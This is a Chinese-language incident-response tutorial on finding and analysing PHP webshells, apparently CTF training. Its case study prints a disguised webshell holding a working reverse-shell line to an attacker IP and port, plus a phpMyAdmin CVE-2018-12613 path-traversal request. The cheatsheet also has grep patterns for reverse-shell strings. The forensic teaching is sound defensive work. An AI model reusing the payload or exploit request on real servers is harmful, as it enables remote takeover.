INCIDENT RESPONSE · WEBSHELL
藏在服务器里的
那扇后门网页
WebShell 是攻击者在服务器上留下的"遥控器"——一个能执行系统命令的网页。本章教你:认出它、找到它、读懂它的反弹 Shell,并把攻击者的 IP/端口挖出来。
01 · Concept
什么是 WebShell
一句话:能通过 HTTP 执行系统命令的网页文件。它伪装成普通 .php,实际内部调用系统函数。常见角色:
| 类型 | 特点 | 特征串 |
|---|---|---|
| 一句话木马 | 极短,通过 POST 参数传命令 | eval($_POST[...]) |
| 命令执行型 | 直接执行命令/反弹 shell | system(...) shell_exec |
| 大马 | 带界面,文件管理+命令终端 | 大量函数 + 界面 HTML |
| 冰蝎/蚁剑 | 加密通信的"现代马" | base64 解码 + 动态 eval |
一句话理解
正常网页 = "展示数据"。WebShell = "把服务器当命令行用"。它的存在本身就是入侵实锤,且能读出攻击者的内网 IP 和计划。
02 · Signature
特征签名:一眼认出危险函数
大白话:看到这些函数名出现在 php 文件里 = 这文件能"执行命令 / 执行代码"。正常页面 99% 用不到它们,出现就要警惕。
执行命令: system | exec | shell_exec | passthru | popen | proc_open 执行代码: eval | assert | create_function | preg_replace(/e/) 变量接收: $_GET | $_POST | $_REQUEST | $_COOKIE 解码混淆: base64_decode | gzinflate | str_rot13 | chr() 文件操作: file_put_contents | fwrite | move_uploaded_file
注意误报
框架本身(Laravel/ThinkPHP)也会用 eval 和 base64_decode。所以不能只靠函数名,要结合:文件位置(不该有 php 的目录)+ 创建时间 + 是否含
$_GET/$_POST 的输入回显。03 · Hunt
全盘定位 WebShell
招式 1 · 按关键词全文搜
grep -rlE "eval\s*\(|system\s*\(|shell_exec|passthru|assert\s*\(" \
/var/www /var/lib/mysql /tmp /var/tmp /dev/shm 2>/dev/null
# -r 递归 -l 只列文件名招式 2 · 按创建时间找(最近修改的 php)
find / -name "*.php" -mtime -90 2>/dev/null
# -mtime -90 = 90 天内修改。结合攻击时间窗口缩小范围
find / -name "*.php" -newer /var/log/secure -type f 2>/dev/null招式 3 · 可疑目录人工翻
木马常藏在不该有 php 的地方:/tmp、/var/lib/mysql、/var/tmp、/dev/shm、上传目录、图片目录(图片马)。
ls -la /var/lib/mysql/ -rw-r----- root syscache.php 136 Dec 19 2025 ← 不是数据库文件! cat /var/lib/mysql/syscache.php <?php @system('bash -i >& /dev/tcp/192.168.189.128/53218 0>&1'); ?>
本案例关键
文件名
syscache.php 伪装成"系统缓存",位置在 mysql 数据目录——既不像 PHP 又能被 phpMyAdmin 目录穿越读到。命名 + 位置双重伪装是 CTF 常见手法。04 · Reverse Shell Anatomy
反弹 Shell 逐字解剖
先看图再读代码——"反弹"二字的由来:不是攻击者连服务器,而是服务器主动连攻击者。因为被黑服务器常在防火墙/内网后面,攻击者连不进来,只能让它自己"爬"出来。
攻击者电脑 192.168.189.128 被黑服务器 ┌─────────────────┐ ┌─────────────────┐ │ nc -lvp 53218 │◄────TCP───────│ bash -i 反弹 │ │ (监听 53218) │ 反向连接 │ (主动连出来) │ └─────────────────┘ └─────────────────┘ 远程输命令 ───────────────────────────► 服务器执行 执行结果 ◄─────────────────────────── 传回攻击者
bash -i >& /dev/tcp/192.168.189.128/53218 0>&1
| 片段 | 含义 |
|---|---|
bash -i | 启动交互式 shell(有提示符、可输入) |
>& | 把标准输出+错误重定向到后面 |
/dev/tcp/IP/PORT | bash 内置的 TCP 连接写法——连到 攻击者 IP:端口 |
0>&1 | 把标准输入也接到同一连接(远程能输入命令) |
取证价值
反弹 Shell 一行代码直接给出三个答案:攻击者 IP(192.168.189.128)、监听端口(53218)、攻击手段(WebShell → 反弹)。这是应急响应题的送分点,也是交叉验证 access_log 的铁证。
05 · Case Study
实战案例:完整攻击链还原
先补一个概念再读源码:LFI(本地文件包含) = 让服务器把它自己磁盘上的文件读出来发给你。phpMyAdmin 的老漏洞 CVE-2018-12613 就是这样——攻击者只需在 URL 里塞一段 target=.../../../../../etc/passwd,服务器就把 /etc/passwd 内容乖乖吐出来。这就是整条链的入口。
192.168.189.128(攻击者) │ ① 目录扫描(22:10 一连串 404) ▼ │ ② phpMyAdmin LFI 读 /etc/passwd(22:14:37 → 200) ▼ │ ③ 读取木马 syscache.php 源码(22:15:10 → 200) ▼ │ ④ 触发反弹 shell → 192.168.189.128:53218(拿到 root)
① access_log:攻击者读到了 webshell 源码 22:15:10 GET /phpMyAdmin/index.php?target=db_sql.php%253f/../../../../var/lib/mysql/syscache.php → 200 ② webshell 内容 = 反弹 shell 到攻击者 <?php @system('bash -i >& /dev/tcp/192.168.189.128/53218 0>&1'); ?> ③ 结论 入口:phpMyAdmin CVE-2018-12613 文件包含(LFI) 落地:/var/lib/mysql/syscache.php(伪装木马) 结果:反弹 root shell → 192.168.189.128:53218
06 · Response
处置与避坑
处置顺序(先取证后处置)
① 保存证据:先
② 记录关联:木马路径、创建时间、access_log 对应请求 —— 答题要的是证据链。
③ 再处置:隔离文件(改权限/移出 web 目录),修补入口漏洞(本例是 phpMyAdmin 升级)。
cp 一份木马副本,记录 md5 —— 别一上来就删。② 记录关联:木马路径、创建时间、access_log 对应请求 —— 答题要的是证据链。
③ 再处置:隔离文件(改权限/移出 web 目录),修补入口漏洞(本例是 phpMyAdmin 升级)。
坑 · 只删马不堵洞
只删 WebShell 不修入口 = 攻击者随时能再传一个。答题/处置都要双向:清木马 + 封漏洞。
坑 · 混淆木马
现代木马会
base64_decode(gzinflate(...)) 混淆。看到一堆乱码字符串 + eval 组合,直接当木马处理,别试图读明文。07 · Cheatsheet
命令速查卡
WebShell 排查 · 一条龙
grep -rlE "eval\s*\(|system\s*\(|shell_exec|passthru" /var/www /var/lib/mysql /tmp 2>/dev/null
find / -name "*.php" -mtime -90 -type f 2>/dev/null
grep -rlE "base64_decode\s*\(.*eval" / 2>/dev/null # 混淆马
grep -rlE "dev/tcp|bash -i|nc -e|perl -e" /var/www /tmp 2>/dev/null # 反弹 shell
md5sum /path/to/webshell.php # 存证据
grep "syscache" /var/log/httpd/access_log # 找访问记录